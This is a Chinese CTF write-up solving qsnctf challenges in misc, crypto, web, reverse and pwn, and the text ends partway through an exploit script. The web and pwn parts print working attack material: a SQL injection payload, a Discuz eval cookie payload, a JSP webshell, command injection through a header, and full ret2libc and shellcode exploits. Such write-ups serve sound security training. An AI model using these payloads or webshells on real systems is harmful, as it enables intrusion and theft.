Misc
签到
下载附件，得到一张二维码。
扫码，然后根据提示“linux”操作系统，直接cat /flag，得到flag。
EasyMisc
下载得到EasyMisc附件，压缩包中有flag.docx
Word打开，发现下方有个换行符。
不排除是字体设置白色前景色了，我们先看看能否选中。
发现选中是可以，但是没有内容。
更改字体颜色，得到此内容。
Ctrl+C好像复制不出来，但是可以复制到微信的聊天框。
再次复制，进行base64解码。
得到了504b 0304 0a00开头的一段16进制内容，应该是一个个压缩包，我们复制出来之后使用010Editor 导入16进制 并保存为文件。
接着就拿到了Flag。
奇怪又不奇怪
下载附件，拿到了一串奇奇怪怪的符号，总感觉很熟悉。
在百度中找到了一篇这样的文章：https://baijiahao.baidu.com/s?id=1748879623460661243&wfr=spider&for=pc
根据对照表的“须弥沙漠文”，得到FLAG MOXIAHJACK，那么flag就是qsnctf{MOXINAHJACK}
做什么题啊来振刀啊
说明：此题目来源于青少年CTF平台投稿。
下载附件，解压。
前面都是没用的东西迷惑人的，删掉。
删完之后还剩2722205行 因式分解 2305 x 1181 编写rgb转图片脚本
得到key2的密码和lsb密码
得到5进制
解密得到flag密码0unzre_1mxmWda
Flag.gif 抽帧拼图
用工具分解会有几张报错 剩下都手截就行了拼成后得到flag
EasySo
下载得到一张图片
颜色好像是相同的又好像是不相同的
图片是GIF，用Photoshop打开，
RGB的16进制吗，应该是十六进制编码。
得到flag为：qsnctf{aapjes}
ScanQR
得到了一张类似于二维码的东西
使用“中国编码”APP扫描得到一串乱码的东西，估计是汉信码的编码和制作时的内容不同。
https://pan.baidu.com/s/17RzBbdSQqCTxAE66on9cOA?pwd=20p6
百度网盘打开，下载。
看似杂乱无章
实则暗藏玄机
根据经验可知
这肯定，，又是16进制…
解码得到16进制内容，复制出来，继续用010Editor
242行，有点东西。
导入16进制
一个PNG文件
得到一张二维码图片，定位点补齐即可。
补齐之后，扫描，得到flag
Cookie怎么分
下载附件
得到一个流量包，压缩前156.9MB，这个文件里绝对不简单。
毫无软用的信息
并且填充了0000空数据
最后面还有一个jpg图片
文件大小不对，可能是因为垃圾数据填充导致的。
在流量包中找到一串Base64：
http://192.168.31.158/index.php?flag=cXNuY3Rme2I1NTEyOTQ2LWQ3YWMt
得到了一段Flag的前半段
qsnctf{b5512946-d7ac-
foremost跑一下，看看能不能遇到爱。
有文件析出
可以由此看出，这应该是一个Python的HTTP Server模块，然后流量包里的大部分内容都是在这里的。
也拿到了很多的jpg图像，大小不一，但是foremost已经帮我们找到了其中的压缩包。
第一个压缩包打开出错，我们看第二个，依然出错。
怀疑是工具问题，使用Wireshark导出对象。
使用binwalk分离图片内容
得到压缩包
再分离别的图片
除了最大的Cookie图片，其他两个小的Cookie都出来了压缩包。
得到两个txt
两个txt都有16进制的数据，直接使用010Editor保存为文件。
打开压缩包，都提示要密码，先看看是不是伪加密。
base_00是伪加密
base_11是真加密
得到密码20221108
base_0有个CRC问题，应该是图片高度或者宽度被修改了
base_0和base_1的高度宽度应该都是一样的，因为是等分图片。
bsae_0的高度位是01 BB
base_1的是01 FB
修改base_0的高度为01 FB 保存
得到了完整的图片
接着在Photoshop中创建一个高度为507，宽度为829+829的图片。
底图宽度有些不够，小失误，调整一下画布大小
我这里调整了2440，明显过宽了，不过咱们可以裁剪。
使用orc脚本（也可以用微信，新版本电脑微信嗷嗷好用，不过需要截取一小段一小段识别），读取内容
from PIL import Image
import pytesseract
file_path = "test.png"
text=pytesseract.image_to_string(Image.open(file_path),lang='chi_sim')
print(text)
保存到txt中，然后挑前面一些进行解码
得到了PNG的文件头。
Base64转文件
# coding=utf-8
import os, base64
img_str = 'base64'# 替换你的base64到这里
img_data = base64.b64decode(img_str)# 注意：如果是"data:image/jpg:base64,"，那你保存的就要以png格式，如果是"data:image/png:base64,"那你保存的时候就以jpg格式。
with open('001.png', 'wb') as f:
f.write(img_data)
print 'successful'
得到了flag后半段。
拼接：
qsnctf{b5512946-d7ac-45c9-afd0-a3f28ba547ea}
吉他
下载附件，得到压缩包，但是提示需要输入密码。
使用010Editor打开，发现好像又是伪加密，修改加密位。
将0h-6d的09修改为00
有一个加密的7zip文件，有一个吉他.aac
只能播放6秒，所以文件肯定有很多的填充数据。
7z压缩包的密码，经过测试，可能是Guitar、吉他、jita等，最终密码是jita。
在吉他.jpg文件末尾，找到很像flag的东西，可能是一部分。
46dc-823a-9c33565c6bde}
吉他.acc的末尾，有一段flag开头的base64
嗯….尬住
吉他.jpg，通过steghide，密码guitar得到flag.txt
得到-049f-
应该是flag中段
在acc文件中，有众多qsnctf开头的内容，结合我们刚刚获取到的内容如下：
qnsctf{74e0df3c–049f-46dc-823a-9c33565c6bde}
可能是防止直接搜索qsn，所以翻转了qsn为qns，这里赛事公告有说flag是qsnctf开头，所以改正过来。
由于uuid是qsnctf{74e0df3c-049f-46dc-823a-9c33565c6bde}，删除多余的横线，得到flag。
Crypto
Snake
题目描述说这玩意是个象形题，Snake，也就是蛇，那么flag可能是像蛇一样
打开文件，是个表格：
| 7 | 1 | 7 | 3 | 6 | E | 6 | 3 | 7 | 4 | 6 | 6 | 7 | B | 3 | 3 | 3 | 9 | 3 | 9 | 6 | 2 | 3 | 1 | 3 | 0 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| D | 2 | 2 | 6 | 1 | 3 | 9 | 3 | 4 | 3 | D | 2 | 9 | 3 | 6 | 6 | 3 | 3 | 3 | 6 | D | 2 | 4 | 6 | 3 | 6 |
| 6 | 4 | 6 | 6 | 6 | 2 | 3 | 5 | 6 | 4 | 3 | 0 | 3 | 3 | 6 | 5 | 3 | 4 | 6 | 3 | 6 | 4 | 3 | 0 | 7 | D |
71736E63
那么第一行应该就是hex了
71 73 6E 63 74 66 7B 33 39 39 62 31 30 得到 qsnctf{399b10
第二行，D2 26 13得到的是
尝试63 64 2D 63 33 66 得到 cd-c3f
那么第二行就是63 64 2D 63 33 66 39 2D 34 39 31 62 2D 也就是 cd-c3f9-491b-
按照之前的顺序，那第三行应该是顺序的 64 66 62 35 64 30 33 65 34 63 64 30 7D 也就是 dfb5d03e4cd0}
flag为qsnctf{399b10cd-c3f9-491b-dfb5d03e4cd0}
82.83.65
这题目名称挺奇怪的，但是应该是ASCII对应的RSA。
题目描述中的欧拉函数，又证明了这一点。直接下载附件，然后看看是什么东西吧。
得到了一个py文件，内容如下：
import gmpy2
import libnum
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
flag = b"*********************"
p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551
e = 65533
n = p*q
d = gmpy2.invert(e,(p-1)*(q-1))
# print(d)
c = pow(int(b2a_hex(flag),16),e,n)
print(c)
# C = 31021919570683223794356421266753186826747161146739784961769368259629146487802
题目给了我们p和q，e是65533，那么n其实也给了我们，只需要欧拉求d，然后pow求c，接着通过已知的e、n、d和c得到m即可得到Flag。
那么直接来写一下脚本
import gmpy2
import libnum
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
flag = ""
p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551
e = 65533
n = p*q
d = gmpy2.invert(e,(p-1)*(q-1))
c = pow(int(b2a_hex(flag),16),e,n)
print c
c = 27565231154623519221597938803435789010285480123476977081867877272451638645710
c = m^e % n
m = c^d % n
m = pow(c,d,n)
print(long_to_bytes(m))
CryptoSOS
emm 下载附件
看着确实很像flag，但是肯定交不上去，这肯定是被操作过了的。
试试使用平台的CyberChef看看
自动没解出来，多少是带点科技与狠活
这种东西，要么凯撒、仿射，反正，，基本上都是移位作业或者替代作业，并且字符表里没有{}两个符号。那么我们纯猜仿射。
当a和b都等于23时，flag为qsnctf{d990d395-f7b7-4eed-b084-a2f4590db34e}
提交，正确！
Baby RSA
下载附件，得到了attachment.zip，包含一个encode.py和hint.txt
得到了p、n、c
pow函数需要的东西是e、n、m求c，那么我们c有了，但是没有e，这就很难受了。
c是经过Base64编码后倒序（翻转）的，我们需要翻转后Bas64解码，得到c
但是脚本中的e是随机数，从20000-50000随机取。
我们需要通过循环，然后解密，判断哪个解密得到的是flag格式“qsnctf{}”
import base64
import gmpy2
p=185392927331398754034773152474166007097
n=33047182186833739970146873552408478599841138065558351794468963853252513446871
c="=gzMxUDM5gTN1UDN5kzNwYzM5QjNyEDOwEjN0YzM3gTN1ATM2ITO1gDN0QTNzEDMxcDO5YDM0UjN0AjN0EzM4gzM4YzM4gTO3ITOzAjM"
print(base64.b64decode(c[::-1]))
cipher=int(base64.b64decode(c[::-1]))
q=n//p
phi_n=(p-1)*(q-1)
for e in range(20000,50000):
if(gmpy2.gcd(e,phi_n)==1):
d=gmpy2.invert(e,phi_n)
m=pow(cipher,d,n)
flag1=hex(m)[2:]
if(len(str(flag1))%2==1):
flag1='0'+flag1
flag2=flag1.decode('hex')
if('qsnctf{' in flag2 and '}' in flag2):
print(flag2)
得到Flag
What
下载附件，得到一个很像flag的字符和key
常用的使用key解密的加密方法其实不多，我们多尝试几次
因为qsnctf后包含了{}这两个符号，所以这个加密大概率不支持加密{}这样的符号。
维吉尼亚其实就是一个很好的例子，我们先试试。
由于维吉尼亚的key是不支持符号和数字的
并且key后面是三个***，可能是3个字符的，我们试试qsn、rkl这样的显眼的字符
维吉尼亚，得到的结果是vigenerciphersoeasy，flag那就是qsnctf{vigenerciphersoeasy}
奇怪又奇怪
得到一串奇怪的文本，很像Base64
U2FsdGVkX18D7HXP+Tof5LYll5tcnz0tq5LlVtJG4H41B0qzg1l8Y7PSGGr2o30TljuERiFrMKtTWsTH/Laj54WuZwvSg1nVjs2ZZ/JJD95ZUAth19jjdljgbgBxH81/IHhlpGKB7CP2r1kmxH1dtddVj5nJSU0LPXiB58w+X2TgrbCarFOXE5AlUE4dThNRSf+kPMmUims=
结果很像Base64，但是又解不出来了，那么试试看DES、AES或者RC4
根据之前的题目，key可能是qsn、qsnctf、123456这样的东西
DES解密，得到了一串密文
U2FsdGVkX1/CYFPc68XNdZ+W6O6kIEcemoV7iDpHmrkoh8Vu2R1/Wkp2fJw6p/PYjfcnNha5tKhh+E4ahhij1xvk8kwf7sc5+ubQrzmf4PahNkgEbXsTKQVpe2JdQ21m
RC4又得到了类似的密文
U2FsdGVkX1/pJehviBzes9aK66qycToTUvJmoaRXmzM6exiAU6xYY8bJFvHo+9sIyfoLOhbApBG78OAA
再次RC4解密，得到Flag：qsnctf{b97c2a6d-c8a2-4bed-bbb9-e845ec58844f}
BoomThis
下载附件，得到如下内容：
提示“密钥加密的块算法”
应该非常关键
百度之后，得到DES是一种使用密钥加密的块算法。
那么qsnctf-***可能就是密钥了
尝试了qsnctf-123、qsnctf-abc、qsnctf-2022这样的类似组合好像都不对
其实也可能是日期时间
测试了可能是出题时间的日期，得到Flag
Web
签到小能手
启动容器，打开。
提示flag就在这里，并且题目的提示说明这里是index.php，并且flag就在文件的变量中。
访问index.php.bak，打开，应该就有flag了。
由于docker容器不支持运行Windows，所以无法给大家真实的.bak备份文件，，只能手敲了。
Flag：qsnctf{14045401-c067-42bc-903a-e0a64b611c75}
小镇做题家
小镇做题家，，可能有点爱学习，网站都不写了。
dirsearch一把梭
我们看看robots.txt有什么东西
直接访问/GAME/目录会403，我们试试访问index.php或者index.html
为了截图，竟然失败了qwq
一个贪吃蛇，真的不想做了
看了一下源码，发现主要的是snake.js
这里有些BASE64的内容
恭喜你，题目的关键在于/GAME/f14g_in_there_hha/index.php中！
那么，首先给他一个?payload=a.txt
那我们试试访问a.txt是否有文件
这里应该是”什么也没有“
如果传入了空格，会提示我们不要输入空格哦
如果输入/flag，没有回显，可能是flag是不正确的
其实我们可以直接用通配符，因为毕竟这里本身是cat语句
Payload如下
/GAME/f14g_in_there_hha/index.php?payload=/f*
开胃菜
这题，，启动完成
怎么说？考了个限定字符rce？
但是如果是限定字符rce，这里应该是if(isset($_GET[1])&&strlen($_GET[1])<=5)
而不是这样写，这样写的话，if里得到的永远不会是false、和0，所以if永远成立。
因为Strlen只要有传入值，就会有返回数值，只要是非0，if就成功。
所以这题可能是在迷惑我们
直接cat /flag
qsnctf{1546df9f-9991-48fe-a42b-2a3ef69186a2}
Queen
挺好看的一个登陆页面，看看有什么东西是暗藏玄机的？
admin,admin登陆
提示我IP不是管理员IP
好办，那应该是XFF，我们直接启动Burp
XFF之后，有个302跳转
HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
Date: Mon, 14 Nov 2022 14:17:30 GMT
Location: /check.php?data=dXNlcjphZG1pbnxwYXNzOmFkbWlu
Server: nginx/1.18.0
X-Powered-By: PHP/7.3.22
Connection: close
Content-Length: 0
跳转到/check.php?data=dXNlcjphZG1pbnxwYXNzOmFkbWlu
后面的base64内容为：
user:admin|pass:admin
可以尝试手注
但是也可以试试sqlmap能不能搞出来
先burp抓包数据包
这里是已经附带xff的哦！
因为标靶302重定向了另一个文件
最终注入成功
payload为
username=admin&password=admin’+(SELECT 0x47694146 WHERE 9613=9613 AND (SELECT 6883 FROM (SELECT(SLEEP(5)))IHCQ))+’
查询到数据库中的库有这些
sqlmap语句为sqlmap -r 桌面/data.txt -D sql --dump
flag为qsnctf{d8d3117d-d448-469f-ba60-45e222d634ab}
Where
下发容器
好像前端只是一个单独的html静态页面，我们先扫一下站点目录。
诶?扫描发现这些目录：admin、login、vendor还有一些文件：flag.php、composer.json、test.php等
我们先挨个排查一下
想着会不会是出题人留下的蛛丝马迹，，哈哈看来不是了
诶？假的小皮面板吗？
终于找到了一些有用的，composer.json标明这是一套phpunit的系统，并且版本是5.6.2，这下就可以试试公开漏洞了
admin页面是xx省统计局大数据平台的后台？？
但是貌似是没有什么用的，验证码都不变诶。
正好，phpunit远程代码执行漏洞是包含5.6.2的phpunit，那么我们试试看。
向/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php发送POST请求执行php代码
哦对了，因为定义了环境变量，所以PHPInfo的Flag是无法提交的
Discuz
打开题目环境一看，诶？Discuz 3.4X?
Wappalyzer也给出了是Discuz! X的信息
goby扫出来的却是Discuz7.x或6.x
并且存在一个RCE的洞
并且验证也是成功的
PLEASE SET COOKIE:"GLOBALS[_DCACHE][ smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;" and access "/viewthread.php?tid=10" and use antsword to connect then you get webshell
也就是说，我们需要访问/viewthread.php?tid=10页面，并且将cookie设置为GLOBALS[_DCACHE][ smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;接着就可以在蚁剑链接了。
那么我们看到replacearray后面就等于执行的命令，我们此刻不需要提权，所以直接phpinfo();或者cat flag即可。
休息时间
启动环境，上Goby，扫描到了GoAhead
GoAhead影响比较大的漏洞应该是CVE-2017-17562和CVE-2021-42342一个是命令执行，另一个则是环境变量注入。
威睿森通信公司，结合这个登陆页面，应该是个路由器。
（中间吃了个饭，qwq）
访问/cgi-bin/index/，有“Example”。
使用公开的CVE-2021-42342脚本，执行内容如上
漏洞存在，那么我们直接反弹shell
nc收到了反弹的shell
轻轻松松搞定Flag
Weblogic
启动环境
这个页面是正常的，某问题
dirsearch一下，发现/console就是这个网站的后台了，会302到/console/login/LoginForm.jsp
确实是Weblogic无疑了，我们试试弱口令能否登陆
-
weblogic
-
Oracle@123
登陆成功
可以通过【部署】、【安装】尝试上载文件。
选择“安装”后，点击蓝色的”上载文件“
这显然是一个好方法
编写一个jsp木马，打包到war文件中
上载成功
接着一直下一步
这里不上传一句话木马，也可以利用vulhub\weblogic\weak_password\web中的hello.war，其中的file.jsp是配置了任意文件读取的
可以直接访问/hello/file.jsp?path=/flag得到flag。
当然，上传JSP木马用蚁剑得到Shell也是个好办法
使用的Shell如下：
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
密码为passwd
Reverse
Check
下载附件直接扔IDA看伪代码
首先要输入一个值，并判断是否等于49，如果等于49就直接进入Check2
Check2中，输入一个值等于256*256，这里可能是IDA的问题，判断的是0x10000。
接着进入Check3
我们需要输入ASCII等于Y的数字，那么也就是89
接着会让我们输入flag，并与v1进行异或比较
根据
v1[0] = 113;
v1[1] = 114;
v1[2] = 108;
v1[3] = 96;
v1[4] = 112;
v1[5] = 99;
v1[6] = 125;
v1[7] = 74;
v1[8] = 56;
v1[9] = 113;
v1[10] = 59;
v1[11] = 101;
v1[12] = 83;
v1[13] = 65;
v1[14] = 97;
v1[15] = 121;
v1[16] = 117;
v1[17] = 78;
v1[18] = 107;
v1[19] = 124;
v1[20] = 97;
v1[21] = 52;
v1[22] = 107;
for ( i = 0; i <= 23; ++i )
v1[i + 24] = i ^ v1[i];
解密脚本应如下编写
#include <stdio.h>
int main(){
int flag[]={0x71,0x72,0x6c,0x60,0x70,0x63,0x7d,0x4a,0x38,0x71,0x3b,0x65,0x53,0x41,0x61,0x79,0x75,0x4e,0x6b,0x7c,0x61,0x34,0x6b};
int b[23];
int c[23];
int i,i0;
int good;
for(i = 0; i <= 23; ++i){
b[i] = i^flag[i];
printf("%c",b[i]);
}
return 0;
}
LookThis
这道题目，其实有类似的题目出现在”第五届浙江省大学生网络与信息安全竞赛“
说白了，没有逆向算法的过程，只需要找资源文件
而这道题目使用的是Android12的SDK，并且使用了Kotlin，所以在前面逆向可能很多工具不能用。
压缩包打开，/res/mipmap-xhdpi-v4/ic_lanchers.png就是flag了。
EasyBase
下载附件，托IDA看伪代码
这里玩了个梗：“击败龙的十八掌击”
很典型的Base64过程
233行是Base64，但是上面204行还有个翻转，还有一个rot18
大概算法我们差不多知道了
首先rot18这个很像base64翻转的东西
然后再文本倒序一次
倒序完成之后再base64解码
接着再倒序一次，就很像flag了
紧接着，再ROT18
qsnctf{af3036f5-2d87-4c75-a51b-2f47e2611312}
得到Flag
MD5
因为程序应该是易语言的，IDA在sub_4010A1中，对传入的值MD5后与“a4241bbfc6cab40e5b36b7a98c8621ed“对比。
并且根据题目提示：
flag就是md5的内容，格式为qsnctf{xxxxxxx},最长字符7个，除了qsnctf和{}全是数字哦。
我们可以用Python编写一个爆破脚本
import hashlib
f=lambda k:'qsnctf{'+str(k)+"}"
k=1000000
while 1:
m = hashlib.md5(f(k).encode())
if m.hexdigest()=="a4241bbfc6cab40e5b36b7a98c8621ed":
print(f(k))
break
print(k)
k+=1
得到Flag为qsnctf{5201314}
当然更好的写法还有这样的
import hashlib
for k in range(1000000,9999999):
m = hashlib.md5(('qsnctf{'+str(k)+'}').encode())
if m.hexdigest()=="a4241bbfc6cab40e5b36b7a98c8621ed":
print('qsnctf{'+str(k)+'}')
break
This..is
这道题可谓是非常有意思，一道Re题还需要Web环境
下载附件，打开程序
这个提示已经告诉我们了，我们的操作需要在Check后输入口令，并且发送和保存口令是不一样的。
应该是在URL中填充启动的容器链接，然后在Check中输入密码后保存这个URL。
最下方有个Shell，可能是考察了Web的命令执行。
IDA的字符串窗口，可以很好的告诉我们这里大概应该需要填充什么。
访问容器页面，是这样的
Check密码为123456的时候，数据被成功保存。
题目描述中有说用户名是admin，密码是qsnctf2022_reverse
发送的时候，提示我密码错误，也就是前面提到的保存密码和发送密码是不一样的。
那么尝试一下QSNCTF
显示成功发送
那么shell中是空的，所以data没有内容
Shell中写123，那么data中回显的也是123，这和字符串窗口中的Shell:echo关联很大。
中间有个base64的东西，我们解码看看
Moxin1314Loveyou
既然他在这些请求关键字之间，那么很有可能这里是一个鉴权的关键。
不难发现，从F38到F8A应该是HTTP请求发送的内容，那么上面的是过滤字符，下面是信息框内容。
我们现在需要给一个HTTP请求，请求内容如下：
请求方式：GET
请求地址：题目地址/?username=admin&password=qsnctf2022_reverse
请求体包含：
Shell:echo 123456
Authorization:Moxin1314Loveyou
X-Forwarded-For:127.0.0.1
那么我们一个CURL就可以解决，如果不习惯的话可以用Hackbar或者Burpsuite。
接着只需要修改Shell后的内容，就可以完成命令执行。
我们需要指定body
得到Flag
最终Payload如下：
curl "http://a3db934d-1587-495b-9704-e6ca3be3cc11.recruit.qsnctf.com:8080/?username=admin&password=qsnctf2022_reverse" -H "Shell:cat /flag" -H "Authorization:Moxin1314Loveyou"
Tea
下载附件扔64IDA
根据这里的几个循环运算和encrypt写解密脚本
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
DWORD str2[32] =
{
46,
162,
154,
93,
216,
119,
117,
77,
224,
124,
80,
69,
114,
165,
248,
93,
109,
14,
98,
20,
102,
95,
216,
91,
138,
93,
196,
200,
116,
32,
253,
101
};
unsigned int key[4]={1,2,3,4};
void decrypt(unsigned int *A,unsigned int *B){
int j;
unsigned int v0 = A[0],v1 = A[1],delta = 221492336,sum = delta * 32;
for(j=0;j<32;j++){
v1 -= (v0 + sum) ^ (B[2] + 16 * v0) ^ ((v0 >> 5) + B[3]);
v0 -= (v1 + sum) ^ (*B + 16 * v1) ^ ((v1 >> 5) + B[1]);
sum -= delta;
}
A[0] = v0;
A[1] = v1;
}
void encrypt(unsigned int *a1, unsigned int *a2)
{
int i; // [rsp+10h] [rbp-10h]
int v4; // [rsp+14h] [rbp-Ch]
unsigned int v5; // [rsp+18h] [rbp-8h]
unsigned int v6; // [rsp+1Ch] [rbp-4h]
v6 = *a1;
v5 = a1[1];
v4 = 0;
for ( i = 0; i <= 31; ++i )
{
v4 += 221492336;
v6 += (v5 + v4) ^ (*a2 + 16 * v5) ^ ((v5 >> 5) + a2[1]);
v5 += (v6 + v4) ^ (a2[2] + 16 * v6) ^ ((v6 >> 5) + a2[3]);
}
*a1 = v6;
a1[1] = v5;
}
unsigned int v4[3];
int main()
{
for ( int i = 24; i >= 0; i -= 8 )
{
for (int j = 0; j <= 1; ++j )
{
v4[j]=0;
for (int k = 3; k >=0 ; --k )
{
v4[j] = v4[j] << 8;
v4[j] += str2[4 * j + i + k];
}
}
cout<<v4[0]<<" "<<v4[1]<<"\n";
decrypt(&v4[0],key);
for (int j = 0; j <= 1; ++j )
{
for (int k = 0; k <= 3; ++k )
{
str2[4 * j + i + k]=v4[j] ;
v4[j] = v4[j] >> 8;
}
}
}
for(int i=0;i<32;i++)
cout<<char(str2[i]);
return 0;
}
解铃还须系铃人
程序32位，直接放到IDA32。但是ExeinfoPE查询到这是来自于“易语言”的程序，就不能再常规的跟踪main函数等了。
OD打开，发现调试的时候会报错，疑似是加了反调试等东西，我们通过ESP绕过，顺便脱个小混淆。
再Dump出文件。
说真的这种题貌似使用Ollydbg做题更刺激，但是IDA还是比较通用的。
打开程序提示了Flag Code的内容，我们尝试Shift + F12
找到了箭头所指的位置
跟到这里，然后我们看看这块代码是干什么用的。
(上图截图有点失误，实际上40121B是一个取随机字符的过程)
这是程序的加密过程
Int a1是取得随机数值
123456疑似是个密钥
通过这里写相关解密内容
经常用易语言的，或许已经知道这是精易语言模块里的默认算法了。
将Flag Code解密
得到flag为flag{m0s1n_w0d1sh3n}
Pwn
game
看到有个伪随机数，绕过之后会进入back函数
back函数是一个命令执行，使用分号直接截断
stackoverflow
开了canary和NX
程序存在溢出，利用第一个read覆盖到canary末尾一字节，然后后面的printf泄露地址，然后溢出ret2libc
from pwn import *
from LibcSearcher import *
from pwncli import ShellcodeMall
context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary = './pwn'
ip = 'recruit.qsnctf.com'
port = 10067
gs = '''
b *0x4012fe
'''
# sh = process(binary)
sh = remote(ip, port)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('./libc.so.6')
def ru(x, drop=False): return sh.recvuntil(x, drop)
def sn(x): return sh.send(x)
def rl(): return sh.recvline()
def sl(x): return sh.sendline(x)
def rv(x): return sh.recv(x)
def sa(a, b): return sh.sendafter(a, b)
def sla(a, b): return sh.sendlineafter(a, b)
def lg(a, b): return print("\033[1;35m{} ==> {}\033[0m".format((a), b))
def int2bytes(num):
return str(num).encode('utf-8')
def malloc(size, content):
sla()
def edit(id, content):
sla()
def free(id):
sla()
def show(id):
sla()
'''
0x0000000000401393: pop rdi; ret;
0x0000000000401391: pop rsi; pop r15; ret;
0x000000000040101a: ret;
'''
pop_rdi = 0x0000000000401393
pop_rsi_r15 = 0x0000000000401391
ret = 0x000000000040101a
# gdb.attach(sh, gs)
sla(b'Do you know who first discovered the stack overflow', b'a' * 0x58)
rl()
rl()
canary = u64(rv(7).rjust(8, b'\x00'))
lg('canary', hex(canary))
sla(b'leave your name:', b'b' * 7 * 8 + p64(canary) +
p64(0xdeadbeef) + p64(ret) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(elf.got['write']) + p64(0) + p64(elf.plt['write']) + p64(elf.sym['func']))
write_addr = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
lg('write_addr', hex(write_addr))
libc.address = write_addr - libc.sym['write']
sys_addr = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh'))
sl(b'a')
sla(b'leave your name:', b'b' * 7 * 8 + p64(canary) +
p64(0xdeadbeef) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr) + p64(elf.sym['func']))
# pause()
sh.interactive()
ssssssn
程序mmap了一块7权限的内存，然后读入13字节去执行
有沙盒，这里读入read的shllcode扩大shellcode的读入，然后orw即可
from pwn import *
from LibcSearcher import *
from pwncli import ShellcodeMall
context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary = './pwn'
ip = 'recruit.qsnctf.com'
port = 10087
gs = '''
b *$rebase(0x13b7)
'''
# sh = process(binary)
sh = remote(ip, port)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('./libc.so.6')
def ru(x, drop=False): return sh.recvuntil(x, drop)
def sn(x): return sh.send(x)
def rl(): return sh.recvline()
def sl(x): return sh.sendline(x)
def rv(x): return sh.recv(x)
def sa(a, b): return sh.sendafter(a, b)
def sla(a, b): return sh.sendlineafter(a, b)
def lg(a, b): return print("\033[1;35m{} ==> {}\033[0m".format((a), b))
def int2bytes(num):
return str(num).encode('utf-8')
def malloc(size, content):
sla()
def edit(id, content):
sla()
def free(id):
sla()
def show(id):
sla()
sc = '''
xor rax, rax
mov rdx, 1000
syscall
'''
orw = shellcraft.open('./flag')
orw += shellcraft.read('rax', 0x10100, 0x40)
orw += shellcraft.write(1, 0x10100, 0x40)
# print(len(asm(sc)))
# gdb.attach(sh, gs)
sla(b'you can input only 13 messages:\n', asm(sc))
sl(b'a' * len(asm(sc)) + asm(orw))
# pause()
sh.interactive()
animal
一个c++的程序
getAnimal函数可以leak地址，绕过pie 后面ret后门即可
from pwn import *
from LibcSearcher import *
from pwncli import ShellcodeMall
context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
binary = './pwn'
ip = 'recruit.qsnctf.com'
port = 10085
gs = '''
b getAnimal
'''
# sh = process(binary)
sh = remote(ip, port)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('./libc.so.6')
def ru(x, drop=False): return sh.recvuntil(x, drop)
def sn(x): return sh.send(x)
def rl(): return sh.recvline()
def sl(x): return sh.sendline(x)
def rv(x): return sh.recv(x)
def sa(a, b): return sh.sendafter(a, b)
def sla(a, b): return sh.sendlineafter(a, b)
def lg(a, b): return print("\033[1;35m{} ==> {}\033[0m".format((a), b))
def int2bytes(num):
return str(num).encode('utf-8')
def malloc(size, content):
sla()
def edit(id, content):
sla()
def free(id):
sla()
def show(id):
sla()
sla(b'3.show\n', b'1')
sn(b'a' * 8)
# gdb.attach(sh, gs)
sla(b'3.show\n', b'2')
ru(b'aaaaaaaa')
base_addr = u64(rv(6).ljust(8, b'\x00'))
lg('base_addr', hex(base_addr))
shell = base_addr - 0x4c52
lg('shell_addr', hex(shell))
sl(b'6')
sla(b'leave lase message\n', b'a' * 0x18 + p64(shell + 8))
sh.interactive()
gift
一个整型溢出，直接写入 -2147483648
SummerIOT
分析
创建 note 时存在堆溢出。
思路
-
创建多个堆块构造堆块重叠，获得 Unsortedbin 进行相关 leak
-
构造 Tcache Poisoning 劫持 free_hook 为 gets ，去除 \x00 截断限制
-
利用 gets 在堆块上布置 rop 链子，free 掉 __free_hook 可以更改为我们的 gadget 进行 SROP
-
open 系统调用被 ban ，改用 openat
EXP
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.35/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
